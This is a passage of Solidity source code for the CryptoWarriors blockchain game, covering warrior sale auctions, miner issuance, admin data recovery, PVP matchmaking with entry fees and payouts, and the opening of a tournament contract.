// to a re-entry attack because of _isReadyToTournament check // will fail msg.sender.transfer(feeExcess); } function _setIDLE(uint256 warriorIds) internal { for(uint256 i = 0; i < GROUP_SIZE; i ++) { warriors[CryptoUtils._unpackWarriorId(warriorIds, i)].action = uint16(IDLE); } } function _freeWarriors(uint256[] memory packedContenders) internal { uint256 length = packedContenders.length; for(uint256 i = 0; i < length; i ++) { //set participants action to IDLE _setIDLE(packedContenders[i]); } } function tournamentFinished(uint256[] packedContenders) public { //this method can be invoked only by battleProvider contract require(msg.sender == address(battleProvider)); //grad rewards and set IDLE action _freeWarriors(packedContenders); } } contract CryptoWarriorAuction is CryptoWarriorTournament { // @notice The auction contract variables are defined in CryptoWarriorBase to allow // us to refer to them in WarriorTokenImpl to prevent accidental transfers. // `saleAuction` refers to the auction for miner and p2p sale of warriors. /// @dev Sets the reference to the sale auction. /// @param _address - Address of sale contract. function setSaleAuctionAddress(address _address) external onlyAdmin { SaleClockAuction candidateContract = SaleClockAuction(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isSaleClockAuction()); // Set the new contract address saleAuction = candidateContract; } /// @dev Put a warrior up for auction. /// Does some ownership trickery to create auctions in one tx. function createSaleAuction( uint256 _warriorId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { // Auction contract checks input sizes // If warrior is already on any auction, this will throw // because it will be owned by the auction contract. require(_ownerApproved(msg.sender, _warriorId)); // Ensure the warrior is not busy to prevent the auction // contract creation while warrior is in any kind of battle (PVE, PVP, TOURNAMENT). require(warriors[_warriorId].action == IDLE); _approve(_warriorId, address(saleAuction)); // Sale auction throws if inputs are invalid and clears // transfer approval after escrowing the warrior. saleAuction.createAuction( _warriorId, _startingPrice, _endingPrice, _duration, msg.sender ); } } contract CryptoWarriorIssuer is CryptoWarriorAuction { // Limits the number of warriors the contract owner can ever create uint256 public constant MINER_CREATION_LIMIT = 2880;//issue every 15min for one month // Constants for miner auctions. uint256 public constant MINER_STARTING_PRICE = 100 finney; uint256 public constant MINER_END_PRICE = 50 finney; uint256 public constant MINER_AUCTION_DURATION = 1 days; uint256 public minerCreatedCount; /// @dev Generates a new miner warrior with MINER perk of COMMON rarity /// creates an auction for it. function createMinerAuction() external onlyIssuer { require(minerCreatedCount < MINER_CREATION_LIMIT); minerCreatedCount++; uint256 identity = sanctuary.generateWarrior(minerCreatedCount, 0, block.number - 1, MINER_PERK); uint256 warriorId = _createWarrior(identity, bankAddress, 0, 10, 100, 0); _approve(warriorId, address(saleAuction)); saleAuction.createAuction( warriorId, _computeNextMinerPrice(), MINER_END_PRICE, MINER_AUCTION_DURATION, bankAddress ); } /// @dev Computes the next miner auction starting price, given /// the average of the past 5 prices * 2. function _computeNextMinerPrice() internal view returns (uint256) { uint256 avePrice = saleAuction.averageMinerSalePrice(); // Sanity check to ensure we don't overflow arithmetic require(avePrice == uint256(uint128(avePrice))); uint256 nextPrice = avePrice * 3 / 2;//confirmed // We never auction for less than starting price if (nextPrice < MINER_STARTING_PRICE) { nextPrice = MINER_STARTING_PRICE; } return nextPrice; } } contract CoreRecovery is CryptoWarriorIssuer { bool public allowRecovery = true; //data model //0 - identity //1 - cooldownEndBlock //2 - level //3 - rating //4 - index function recoverWarriors(uint256[] recoveryData, address[] owners) external onlyAdmin whenPaused { //check that recory action is allowed require(allowRecovery); uint256 length = owners.length; //check that number of owners corresponds to recover data length require(length == recoveryData.length / 5); for(uint256 i = 0; i < length; i++) { _createWarrior(recoveryData[i * 5], owners[i], recoveryData[i * 5 + 1], recoveryData[i * 5 + 2], recoveryData[i * 5 + 3], recoveryData[i * 5 + 4]); } } //recovery is a one time action, once it is done no more recovery actions allowed function recoveryDone() external onlyAdmin { allowRecovery = false; } } contract CryptoWarriorCore is CoreRecovery { /// @notice Creates the main CryptoWarrior smart contract instance. function CryptoWarriorCore() public { // Starts paused. paused = true; // the creator of the contract is the initial Admin adminAddress = msg.sender; // the creator of the contract is also the initial COO issuerAddress = msg.sender; // the creator of the contract is also the initial Bank bankAddress = msg.sender; } /// @notice No tipping! /// @dev Reject all Ether from being sent here /// (Hopefully, we can prevent user accidents.) function() external payable { require(false); } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can't have /// newContractAddress set either, because then the contract was upgraded. /// @notice This is public rather than external so we can call super.unpause /// without using an expensive CALL. function unpause() public onlyAdmin whenPaused { require(address(saleAuction) != address(0)); require(address(sanctuary) != address(0)); require(address(battleProvider) != address(0)); require(newContractAddress == address(0)); // Actually unpause the contract. super.unpause(); } function getBeneficiary() external view returns(address) { return bankAddress; } function isPVPListener() public pure returns (bool) { return true; } /** *@param _warriorIds array of warriorIds, * for those IDs warrior data will be packed into warriorsData array *@return warriorsData packed warrior data *@return stepSize number of fields in single warrior data */ function getWarriors(uint256[] _warriorIds) external view returns (uint256[] memory warriorsData, uint256 stepSize) { stepSize = 6; warriorsData = new uint256[](_warriorIds.length * stepSize); for(uint256 i = 0; i < _warriorIds.length; i++) { _setWarriorData(warriorsData, warriors[_warriorIds[i]], i * stepSize); } } /** *@param indexFrom index in global warrior storage (aka warriorId), * from this index(including), warriors data will be gathered *@param count Number of warriors to include in packed data *@return warriorsData packed warrior data *@return stepSize number of fields in single warrior data */ function getWarriorsFromIndex(uint256 indexFrom, uint256 count) external view returns (uint256[] memory warriorsData, uint256 stepSize) { stepSize = 6; //check length uint256 lenght = (warriors.length - indexFrom >= count ? count : warriors.length - indexFrom); warriorsData = new uint256[](lenght * stepSize); for(uint256 i = 0; i < lenght; i ++) { _setWarriorData(warriorsData, warriors[indexFrom + i], i * stepSize); } } function getWarriorOwners(uint256[] _warriorIds) external view returns (address[] memory owners) { uint256 lenght = _warriorIds.length; owners = new address[](lenght); for(uint256 i = 0; i < lenght; i ++) { owners[i] = warriorToOwner[_warriorIds[i]]; } } function _setWarriorData(uint256[] memory warriorsData, DataTypes.Warrior storage warrior, uint256 id) internal view { warriorsData[id] = uint256(warrior.identity);//0 warriorsData[id + 1] = uint256(warrior.cooldownEndBlock);//1 warriorsData[id + 2] = uint256(warrior.level);//2 warriorsData[id + 3] = uint256(warrior.rating);//3 warriorsData[id + 4] = uint256(warrior.action);//4 warriorsData[id + 5] = uint256(warrior.dungeonIndex);//5 } function getWarrior(uint256 _id) external view returns ( uint256 identity, uint256 cooldownEndBlock, uint256 level, uint256 rating, uint256 action, uint256 dungeonIndex ) { DataTypes.Warrior storage warrior = warriors[_id]; identity = uint256(warrior.identity); cooldownEndBlock = uint256(warrior.cooldownEndBlock); level = uint256(warrior.level); rating = uint256(warrior.rating); action = uint256(warrior.action); dungeonIndex = uint256(warrior.dungeonIndex); } } /* @title Handles creating pvp battles every 15 min.*/ contract PVP is PausableBattle, PVPInterface { /* PVP BATLE */ /** list of packed warrior data that will participate in next PVP session. * Fixed size arry, to evade constant remove and push operations, * this approach reduces transaction costs involving queue modification. */ uint256[100] public pvpQueue; // //queue size uint256 public pvpQueueSize = 0; // @dev A mapping from owner address to booty in WEI // booty is acquired in PVP and Tournament battles and can be // withdrawn with grabBooty method by the owner of the loot mapping (address => uint256) public ownerToBooty; // @dev A mapping from warrior id to owners address mapping (uint256 => address) internal warriorToOwner; // An approximation of currently how many seconds are in between blocks. uint256 internal secondsPerBlock = 15; // Cut owner takes from, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public pvpOwnerCut; // Values 0-10,000 map to 0%-100% //this % of the total bets will be sent as //a reward to address, that triggered finishPVP method uint256 public pvpMaxIncentiveCut; /// @notice The payment base required to use startPVP(). // pvpBattleFee * (warrior.level / POINTS_TO_LEVEL) uint256 internal pvpBattleFee = 10 finney; uint256 public constant PVP_INTERVAL = 15 minutes; uint256 public nextPVPBatleBlock = 0; //number of WEI in hands of warrior owners uint256 public totalBooty = 0; /* TOURNAMENT */ uint256 public constant FUND_GATHERING_TIME = 24 hours; uint256 public constant ADMISSION_TIME = 12 hours; uint256 public constant RATING_EXPAND_INTERVAL = 1 hours; uint256 internal constant SAFETY_GAP = 5; uint256 internal constant MAX_INCENTIVE_REWARD = 200 finney; //tournamentContenders size uint256 public tournamentQueueSize = 0; // Values 0-10,000 map to 0%-100% uint256 public tournamentBankCut; /** tournamentEndBlock, tournament is eligible to be finished only * after block.number >= tournamentEndBlock * it depends on FUND_GATHERING_TIME and ADMISSION_TIME */ uint256 public tournamentEndBlock; //number of WEI in tournament bank uint256 public currentTournamentBank = 0; uint256 public nextTournamentBank = 0; PVPListenerInterface internal pvpListener; /* EVENTS */ /** @dev TournamentScheduled event. Emitted every time a tournament is scheduled * @param tournamentEndBlock when block.number > tournamentEndBlock, then tournament * is eligible to be finished or rescheduled */ event TournamentScheduled(uint256 tournamentEndBlock); /** @dev PVPScheduled event. Emitted every time a tournament is scheduled * @param nextPVPBatleBlock when block.number > nextPVPBatleBlock, then pvp battle * is eligible to be finished or rescheduled */ event PVPScheduled(uint256 nextPVPBatleBlock); /** @dev PVPNewContender event. Emitted every time a warrior enqueues pvp battle * @param owner Warrior owner * @param warriorId Warrior ID that entered PVP queue * @param entranceFee fee in WEI warrior owner payed to enter PVP */ event PVPNewContender(address owner, uint256 warriorId, uint256 entranceFee); /** @dev PVPFinished event. Emitted every time a pvp battle is finished * @param warriorsData array of pairs of pvp warriors packed to uint256, even => winners, odd => losers * @param owners array of warrior owners, 1 to 1 with warriorsData, even => winners, odd => losers * @param matchingCount total number of warriors that fought in current pvp session and got rewards, * if matchingCount < participants.length then all IDs that are >= matchingCount will * remain in waiting room, until they are matched. */ event PVPFinished(uint256[] warriorsData, address[] owners, uint256 matchingCount); /** @dev BootySendFailed event. Emitted every time address.send() function failed to transfer Ether to recipient * in this case recipient Ether is recorded to ownerToBooty mapping, so recipient can withdraw their booty manually * @param recipient address for whom send failed * @param amount number of WEI we failed to send */ event BootySendFailed(address recipient, uint256 amount); /** @dev BootyGrabbed event * @param receiver address who grabbed his booty * @param amount number of WEI */ event BootyGrabbed(address receiver, uint256 amount); /** @dev PVPContenderRemoved event. Emitted every time warrior is removed from pvp queue by its owner. * @param warriorId id of the removed warrior */ event PVPContenderRemoved(uint256 warriorId, address owner); function PVP(uint256 _pvpCut, uint256 _tournamentBankCut, uint256 _pvpMaxIncentiveCut) public { require((_tournamentBankCut + _pvpCut + _pvpMaxIncentiveCut) <= 10000); pvpOwnerCut = _pvpCut; tournamentBankCut = _tournamentBankCut; pvpMaxIncentiveCut = _pvpMaxIncentiveCut; } /** @dev grabBooty sends to message sender his booty in WEI */ function grabBooty() external { uint256 booty = ownerToBooty[msg.sender]; require(booty > 0); require(totalBooty >= booty); ownerToBooty[msg.sender] = 0; totalBooty -= booty; msg.sender.transfer(booty); //emit event BootyGrabbed(msg.sender, booty); } function safeSend(address _recipient, uint256 _amaunt) internal { uint256 failedBooty = sendBooty(_recipient, _amaunt); if (failedBooty > 0) { totalBooty += failedBooty; } } function sendBooty(address _recipient, uint256 _amaunt) internal returns(uint256) { bool success = _recipient.send(_amaunt); if (!success && _amaunt > 0) { ownerToBooty[_recipient] += _amaunt; BootySendFailed(_recipient, _amaunt); return _amaunt; } return 0; } //@returns block number, after this block tournament is opened for admission function getTournamentAdmissionBlock() public view returns(uint256) { uint256 admissionInterval = (ADMISSION_TIME / secondsPerBlock); return tournamentEndBlock < admissionInterval ? 0 : tournamentEndBlock - admissionInterval; } //schedules next turnament time(block) function _scheduleTournament() internal { //we can chedule only if there is nobody in tournament queue and //time of tournament battle have passed if (tournamentQueueSize == 0 && tournamentEndBlock <= block.number) { tournamentEndBlock = ((FUND_GATHERING_TIME / 2 + ADMISSION_TIME) / secondsPerBlock) + block.number; TournamentScheduled(tournamentEndBlock); } } /// @dev Updates the minimum payment required for calling startPVP(). Can only /// be called by the COO address, and only if pvp queue is empty. function setPVPEntranceFee(uint256 value) external onlyOwner { require(pvpQueueSize == 0); pvpBattleFee = value; } //@returns PVP entrance fee for specified warrior level //@param _levelPoints NB! function getPVPEntranceFee(uint256 _levelPoints) external view returns(uint256) { return pvpBattleFee * CryptoUtils._getLevel(_levelPoints); } //level can only be > 0 and <= 25 function _getPVPFeeByLevel(uint256 _level) internal view returns(uint256) { return pvpBattleFee * _level; } // @dev Computes warrior pvp reward // @param _totalBet - total bet from both competitors. function _computePVPReward(uint256 _totalBet, uint256 _contendersCut) internal pure returns (uint256){ // NOTE: We don't use SafeMath (or similar) in this function because // _totalBet max value is 1000 finney, and _contendersCut aka // (10000 - pvpOwnerCut - tournamentBankCut - incentiveRewardCut) <= 10000 (see the require() // statement in the BattleProvider constructor). The result of this // function is always guaranteed to be <= _totalBet. return _totalBet * _contendersCut / 10000; } function _getPVPContendersCut(uint256 _incentiveCut) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // (pvpOwnerCut + tournamentBankCut + pvpMaxIncentiveCut) <= 10000 (see the require() // statement in the BattleProvider constructor). // _incentiveCut is guaranteed to be >= 1 and <= pvpMaxIncentiveCut return (10000 - pvpOwnerCut - tournamentBankCut - _incentiveCut); } // @dev Computes warrior pvp reward // @param _totalSessionLoot - total bets from all competitors. function _computeIncentiveReward(uint256 _totalSessionLoot, uint256 _incentiveCut) internal pure returns (uint256){ // NOTE: We don't use SafeMath (or similar) in this function because // _totalSessionLoot max value is 37500 finney, and // (pvpOwnerCut + tournamentBankCut + incentiveRewardCut) <= 10000 (see the require() // statement in the BattleProvider constructor). The result of this // function is always guaranteed to be <= _totalSessionLoot. return _totalSessionLoot * _incentiveCut / 10000; } ///@dev computes incentive cut for specified loot, /// Values 0-10,000 map to 0%-100% /// max incentive reward cut is 5%, if it exceeds MAX_INCENTIVE_REWARD, /// then cut is lowered to be equal to MAX_INCENTIVE_REWARD. /// minimum cut is 0.01% /// this % of the total bets will be sent as /// a reward to address, that triggered finishPVP method function _computeIncentiveCut(uint256 _totalSessionLoot, uint256 maxIncentiveCut) internal pure returns(uint256) { uint256 result = _totalSessionLoot * maxIncentiveCut / 10000; result = result <= MAX_INCENTIVE_REWARD ? maxIncentiveCut : MAX_INCENTIVE_REWARD * 10000 / _totalSessionLoot; //min cut is 0.01% return result > 0 ? result : 1; } // @dev Computes warrior pvp reward // @param _totalSessionLoot - total bets from all competitors. function _computePVPBeneficiaryFee(uint256 _totalSessionLoot) internal view returns (uint256){ // NOTE: We don't use SafeMath (or similar) in this function because // _totalSessionLoot max value is 37500 finney, and // (pvpOwnerCut + tournamentBankCut + incentiveRewardCut) <= 10000 (see the require() // statement in the BattleProvider constructor). The result of this // function is always guaranteed to be <= _totalSessionLoot. return _totalSessionLoot * pvpOwnerCut / 10000; } // @dev Computes tournament bank cut // @param _totalSessionLoot - total session loot. function _computeTournamentCut(uint256 _totalSessionLoot) internal view returns (uint256){ // NOTE: We don't use SafeMath (or similar) in this function because // _totalSessionLoot max value is 37500 finney, and // (pvpOwnerCut + tournamentBankCut + incentiveRewardCut) <= 10000 (see the require() // statement in the BattleProvider constructor). The result of this // function is always guaranteed to be <= _totalSessionLoot. return _totalSessionLoot * tournamentBankCut / 10000; } function indexOf(uint256 _warriorId) internal view returns(int256) { uint256 length = uint256(pvpQueueSize); for(uint256 i = 0; i < length; i ++) { if(CryptoUtils._unpackIdValue(pvpQueue[i]) == _warriorId) return int256(i); } return -1; } function getPVPIncentiveReward(uint256[] memory matchingIds, uint256 matchingCount) internal view returns(uint256) { uint256 sessionLoot = _computeTotalBooty(matchingIds, matchingCount); return _computeIncentiveReward(sessionLoot, _computeIncentiveCut(sessionLoot, pvpMaxIncentiveCut)); } function maxPVPContenders() external view returns(uint256){ return pvpQueue.length; } function getPVPState() external view returns (uint256 contendersCount, uint256 matchingCount, uint256 endBlock, uint256 incentiveReward) { uint256[] memory pvpData = _packPVPData(); contendersCount = pvpQueueSize; matchingCount = CryptoUtils._getMatchingIds(pvpData, PVP_INTERVAL, _computeCycleSkip(), RATING_EXPAND_INTERVAL); endBlock = nextPVPBatleBlock; incentiveReward = getPVPIncentiveReward(pvpData, matchingCount); } function canFinishPVP() external view returns(bool) { return nextPVPBatleBlock <= block.number && CryptoUtils._getMatchingIds(_packPVPData(), PVP_INTERVAL, _computeCycleSkip(), RATING_EXPAND_INTERVAL) > 1; } function _clarifyPVPSchedule() internal { uint256 length = pvpQueueSize; uint256 currentBlock = block.number; uint256 nextBattleBlock = nextPVPBatleBlock; //if battle not scheduled, schedule battle if (nextBattleBlock <= currentBlock) { //if queue not empty update cycles if (length > 0) { uint256 packedWarrior; uint256 cycleSkip = _computeCycleSkip(); for(uint256 i = 0; i < length; i++) { packedWarrior = pvpQueue[i]; //increase warrior iteration cycle pvpQueue[i] = CryptoUtils._changeCycleValue(packedWarrior, CryptoUtils._unpackCycleValue(packedWarrior) + cycleSkip); } } nextBattleBlock = (PVP_INTERVAL / secondsPerBlock) + currentBlock; nextPVPBatleBlock = nextBattleBlock; PVPScheduled(nextBattleBlock); //if pvp queue will be full and there is still too much time left, then let the battle begin! } else if (length + 1 == pvpQueue.length && (currentBlock + SAFETY_GAP * 2) < nextBattleBlock) { nextBattleBlock = currentBlock + SAFETY_GAP; nextPVPBatleBlock = nextBattleBlock; PVPScheduled(nextBattleBlock); } } /// @dev Internal utility function to initiate pvp battle, assumes that all battle /// requirements have been checked. function _triggerNewPVPContender(address _owner, uint256 _packedWarrior, uint256 fee) internal { _clarifyPVPSchedule(); //number of pvp cycles the warrior is waiting for suitable enemy match //increment every time when finishPVP is called and no suitable enemy match was found _packedWarrior = CryptoUtils._changeCycleValue(_packedWarrior, 0); //record contender data pvpQueue[pvpQueueSize++] = _packedWarrior; warriorToOwner[CryptoUtils._unpackIdValue(_packedWarrior)] = _owner; //Emit event PVPNewContender(_owner, CryptoUtils._unpackIdValue(_packedWarrior), fee); } function _noMatchingPairs() internal view returns(bool) { uint256 matchingCount = CryptoUtils._getMatchingIds(_packPVPData(), uint64(PVP_INTERVAL), _computeCycleSkip(), uint64(RATING_EXPAND_INTERVAL)); return matchingCount == 0; } /* * @title startPVP enqueues specified warrior to PVP * * @dev When the owner enqueues his warrior for PvP, the warrior enters the waiting room. * Once every 15 minutes, we check the warriors in the room and select pairs. * For those warriors to whom we found couples, fighting is conducted and the results * are recorded in the profile of the warrior. */ function addPVPContender(address _owner, uint256 _packedWarrior) external payable PVPNotPaused { // Caller must be pvpListener contract require(msg.sender == address(pvpListener)); require(_owner != address(0)); //contender can be added only while PVP is scheduled in future //or no matching warrior pairs found require(nextPVPBatleBlock > block.number || _noMatchingPairs()); // Check that the warrior exists. require(_packedWarrior != 0); //owner must withdraw all loot before contending pvp require(ownerToBooty[_owner] == 0); //check that there is enough room for new participants require(pvpQueueSize < pvpQueue.length); // Checks for payment. uint256 fee = _getPVPFeeByLevel(CryptoUtils._unpackLevelValue(_packedWarrior)); require(msg.value >= fee); // // All checks passed, put the warrior to the queue! _triggerNewPVPContender(_owner, _packedWarrior, fee); } function _packPVPData() internal view returns(uint256[] memory matchingIds) { uint256 length = pvpQueueSize; matchingIds = new uint256[](length); for(uint256 i = 0; i < length; i++) { matchingIds[i] = pvpQueue[i]; } return matchingIds; } function _computeTotalBooty(uint256[] memory _packedWarriors, uint256 matchingCount) internal view returns(uint256) { //compute session booty uint256 sessionLoot = 0; for(uint256 i = 0; i < matchingCount; i++) { sessionLoot += _getPVPFeeByLevel(CryptoUtils._unpackLevelValue(_packedWarriors[i])); } return sessionLoot; } function _grandPVPRewards(uint256[] memory _packedWarriors, uint256 matchingCount) internal returns(uint256) { uint256 booty = 0; uint256 packedWarrior; uint256 failedBooty = 0; uint256 sessionBooty = _computeTotalBooty(_packedWarriors, matchingCount); uint256 incentiveCut = _computeIncentiveCut(sessionBooty, pvpMaxIncentiveCut); uint256 contendersCut = _getPVPContendersCut(incentiveCut); for(uint256 id = 0; id < matchingCount; id++) { //give reward to warriors that fought hard //winner, even ids are winners! packedWarrior = _packedWarriors[id]; // //give winner deserved booty 80% from both bets //must be computed before level reward! booty = _getPVPFeeByLevel(CryptoUtils._unpackLevelValue(packedWarrior)) + _getPVPFeeByLevel(CryptoUtils._unpackLevelValue(_packedWarriors[id + 1])); // //send reward to warrior owner failedBooty += sendBooty(warriorToOwner[CryptoUtils._unpackIdValue(packedWarrior)], _computePVPReward(booty, contendersCut)); //loser, they are odd... //skip them, as they deserve none! id ++; } failedBooty += sendBooty(pvpListener.getBeneficiary(), _computePVPBeneficiaryFee(sessionBooty)); if (failedBooty > 0) { totalBooty += failedBooty; } //if tournament admission start time not passed //add tournament cut to current tournament bank, //otherwise to next tournament bank if (getTournamentAdmissionBlock() > block.number) { currentTournamentBank += _computeTournamentCut(sessionBooty); } else { nextTournamentBank += _computeTournamentCut(sessionBooty); } //compute incentive reward return _computeIncentiveReward(sessionBooty, incentiveCut); } function _increaseCycleAndTrimQueue(uint256[] memory matchingIds, uint256 matchingCount) internal { uint32 length = uint32(matchingIds.length - matchingCount); uint256 packedWarrior; uint256 skipCycles = _computeCycleSkip(); for(uint256 i = 0; i < length; i++) { packedWarrior = matchingIds[matchingCount + i]; //increase warrior iteration cycle pvpQueue[i] = CryptoUtils._changeCycleValue(packedWarrior, CryptoUtils._unpackCycleValue(packedWarrior) + skipCycles); } //trim queue pvpQueueSize = length; } function _computeCycleSkip() internal view returns(uint256) { uint256 number = block.number; return nextPVPBatleBlock > number ? 0 : (number - nextPVPBatleBlock) * secondsPerBlock / PVP_INTERVAL + 1; } function _getWarriorOwners(uint256[] memory pvpData) internal view returns (address[] memory owners){ uint256 length = pvpData.length; owners = new address[](length); for(uint256 i = 0; i < length; i ++) { owners[i] = warriorToOwner[CryptoUtils._unpackIdValue(pvpData[i])]; } } // @dev Internal utility function to initiate pvp battle, assumes that all battle /// requirements have been checked. function _triggerPVPFinish(uint256[] memory pvpData, uint256 matchingCount) internal returns(uint256){ // //compute battle results CryptoUtils._getPVPBattleResults(pvpData, matchingCount, nextPVPBatleBlock); // //mark not fought warriors and trim queue _increaseCycleAndTrimQueue(pvpData, matchingCount); // //schedule next battle time nextPVPBatleBlock = (PVP_INTERVAL / secondsPerBlock) + block.number; // //schedule tournament //if contendersCount is 0 and tournament not scheduled, schedule tournament //NB MUST be before _grandPVPRewards() _scheduleTournament(); // compute and grand rewards to warriors, // put tournament cut to bank, not susceptible to reentry attack because of require(nextPVPBatleBlock <= block.number); // and require(number of pairs > 1); uint256 incentiveReward = _grandPVPRewards(pvpData, matchingCount); // //notify pvp listener contract pvpListener.pvpFinished(pvpData, matchingCount); // //fire event PVPFinished(pvpData, _getWarriorOwners(pvpData), matchingCount); PVPScheduled(nextPVPBatleBlock); return incentiveReward; } /** * @dev finishPVP this method finds matches of warrior pairs * in waiting room and computes result of their fights. * * The winner gets +1 level, the loser gets +0.5 level * The winning player gets +130 rating * The losing player gets -30 or 70 rating (if warrior levelUps after battle) . * can be called once in 15min. * NB If the warrior is not picked up in an hour, then we expand the range * of selection by 25 rating each hour. */ function finishPVP() public PVPNotPaused { // battle interval is over require(nextPVPBatleBlock <= block.number); // //match warriors uint256[] memory pvpData = _packPVPData(); //match ids and sort them according to matching uint256 matchingCount = CryptoUtils._getMatchingIds(pvpData, uint64(PVP_INTERVAL), _computeCycleSkip(), uint64(RATING_EXPAND_INTERVAL)); // we have at least 1 matching battle pair require(matchingCount > 1); // When the all checks done, calculate actual battle result uint256 incentiveReward = _triggerPVPFinish(pvpData, matchingCount); //give reward for incentive safeSend(msg.sender, incentiveReward); } // @dev Removes specified warrior from PVP queue // sets warrior free (IDLE) and returns pvp entrance fee to owner // @notice This is a state-modifying function that can // be called while the contract is paused. // @param _warriorId - ID of warrior in PVP queue function removePVPContender(uint256 _warriorId) external{ uint256 queueSize = pvpQueueSize; require(queueSize > 0); // Caller must be owner of the specified warrior require(warriorToOwner[_warriorId] == msg.sender); //warrior must be in pvp queue int256 warriorIndex = indexOf(_warriorId); require(warriorIndex >= 0); //grab warrior data uint256 warriorData = pvpQueue[uint32(warriorIndex)]; //warrior cycle must be >= 4 (> than 1 hour) require((CryptoUtils._unpackCycleValue(warriorData) + _computeCycleSkip()) >= 4); //remove from queue if (uint256(warriorIndex) < queueSize - 1) { pvpQueue[uint32(warriorIndex)] = pvpQueue[pvpQueueSize - 1]; } pvpQueueSize --; //notify battle listener pvpListener.pvpContenderRemoved(_warriorId); //return pvp bet msg.sender.transfer(_getPVPFeeByLevel(CryptoUtils._unpackLevelValue(warriorData))); //Emit event PVPContenderRemoved(_warriorId, msg.sender); } function getPVPCycles(uint32[] warriorIds) external view returns(uint32[]){ uint256 length = warriorIds.length; uint32[] memory cycles = new uint32[](length); int256 index; uint256 skipCycles = _computeCycleSkip(); for(uint256 i = 0; i < length; i ++) { index = indexOf(warriorIds[i]); cycles[i] = index >= 0 ? uint32(CryptoUtils._unpackCycleValue(pvpQueue[uint32(index)]) + skipCycles) : 0; } return cycles; } // @dev Remove all PVP contenders from PVP queue // and return all bets to warrior owners. // NB: this is emergency method, used only in f%#^@up situation function removeAllPVPContenders() external onlyOwner PVPPaused { //remove all pvp contenders uint256 length = pvpQueueSize; uint256 warriorData; uint256 warriorId; uint256 failedBooty; address owner; pvpQueueSize = 0; for(uint256 i = 0; i < length; i++) { //grab warrior data warriorData = pvpQueue[i]; warriorId = CryptoUtils._unpackIdValue(warriorData); //notify battle listener pvpListener.pvpContenderRemoved(uint32(warriorId)); owner = warriorToOwner[warriorId]; //return pvp bet failedBooty += sendBooty(owner, _getPVPFeeByLevel(CryptoUtils._unpackLevelValue(warriorData))); } totalBooty += failedBooty; } } contract Tournament is PVP { uint256 internal constant GROUP_SIZE = 5; uint256 internal constant DATA_SIZE = 2; uint256 internal constant THRESHOLD = 300; /** list of warrior IDs that will participate in next tournament. * Fixed size arry, to evade constant remove and push operations, * this approach reduces transaction costs involving array modification. */ uint256[160] public tournamentQueue; /**The cost of participation in the tournament is 1% of its current prize fund, * money is added to the prize fund. measured in basis points (1/100 of a percent). * Values 0-10,000 map to 0%-100% */ uint256 internal tournamentEntranceFeeCut = 100; // Values 0-10,000 map to 0%-100% => 20% uint256 public tournamentOwnersCut; uint256 public tournamentIncentiveCut; /** @dev TournamentNewContender event. Emitted every time a warrior enters tournament * @param owner Warrior owner * @param warriorIds 5 Warrior IDs that entered tournament, packed into one uint256 * see CryptoUtils._packWarriorIds */ event TournamentNewContender(address owner, uint256 warriorIds, uint256 entranceFee); /** @dev TournamentFinished event. Emitted every time a tournament is finished * @param owners array of warrior group owners packed to uint256 * @param results number of wins for each group * @param tournamentBank current tournament bank * see CryptoUtils._packWarriorIds */ event TournamentFinished(uint256[] owners, uint32[] results, uint256 tournamentBank); function Tournament(uint256 _pvpCut, uint256 _tournamentBankCut, uint256 _pvpMaxIncentiveCut, uint256 _tournamentOwnersCut, uint256 _tournamentIncentiveCut) public PVP(_pvpCut, _tournamentBankCut, _pvpMaxIncentiveCut) { require((_tournamentOwnersCut + _tournamentIncentiveCut) <= 10000); tournamentOwnersCut = _tournamentOwnersCut; tournamentIncentiveCut = _tournamentIncentiveCut; } // @dev Computes incentive reward for launching tournament finishTournament() // @param _tournamentBank function _computeTournamentIncentiveReward(uint256 _currentBank, uint256 _incentiveCut) internal pure returns (uint256){ // NOTE: We don't use SafeMath (or similar) in this function because _currentBank max is equal ~ 20000000 finney, // and (tournamentOwnersCut + tournamentIncentiveCut) <= 10000 (see the require() // statement in the Tournament constructor). The result of this // function is always guaranteed to be <= _currentBank. return _currentBank * _incentiveCut / 10000; } function _computeTournamentContenderCut(uint256 _incentiveCut) internal view returns (uint256) { // NOTE: (tournamentOwnersCut + tournamentIncentiveCut) <= 10000 (see the require() // statement in the Tournament constructor). The result of this // function is always guaranteed to be <= _reward. return 10000 - tournamentOwnersCut - _incentiveCut; } function _computeTournamentBeneficiaryFee(uint256 _currentBank) internal view returns (uint256){ // NOTE: We don't use SafeMath (or similar) in this function because _currentBank max is equal ~ 20000000 finney, // and (tournamentOwnersCut + tournamentIncentiveCut) <= 10000 (see the require() // statement in the Tournament constructor). The result of this // function is always guaranteed to be <= _currentBank. return _currentBank * tournamentOwnersCut / 10000; } // @dev set tournament entrance fee cut, can be set only if // tournament queue is empty // @param _cut range from 0 - 10000, mapped to 0-100% function setTournamentEntranceFeeCut(uint256 _cut) external onlyOwner { //cut must be less or equal 100& require(_cut <= 10000); //tournament queue must be empty require(tournamentQueueSize == 0); //checks passed, set cut tournamentEntranceFeeCut = _cut; } function getTournamentEntranceFee() external view returns(uint256) { return currentTournamentBank * tournamentEntranceFeeCut / 10000; } //@dev returns tournament entrance fee - 3% threshold function getTournamentThresholdFee() public view returns(uint256) { return currentTournamentBank * tournamentEntranceFeeCut * (10000 - THRESHOLD) / 10000 / 10000; } //@dev returns max allowed tournament contenders, public because of internal use function maxTournamentContenders() public view returns(uint256){ return tournamentQueue.length / DATA_SIZE; } function canFinishTournament() external view returns(bool) { return tournamentEndBlock <= block.number && tournamentQueueSize > 0; } // @dev Internal utility function to sigin up to tournament, // assumes that all battle requirements have been checked. function _triggerNewTournamentContender(address _owner, uint256[] memory _tournamentData, uint256 _fee) internal { //pack warrior ids into uint256 currentTournamentBank += _fee; uint256 packedWarriorIds = CryptoUtils._packWarriorIds(_tournamentData); //make composite warrior out of 5 warriors uint256 combinedWarrior = CryptoUtils._combineWarriors(_tournamentData); //add to queue //icrement tournament queue uint256 size = tournamentQueueSize++ * DATA_SIZE; //record tournament data tournamentQueue[size++] = packedWarriorIds; tournamentQueue[size++] = combinedWarrior; warriorToOwner[CryptoUtils._unpackWarriorId(packedWarriorIds, 0)] = _owner; // //Emit event 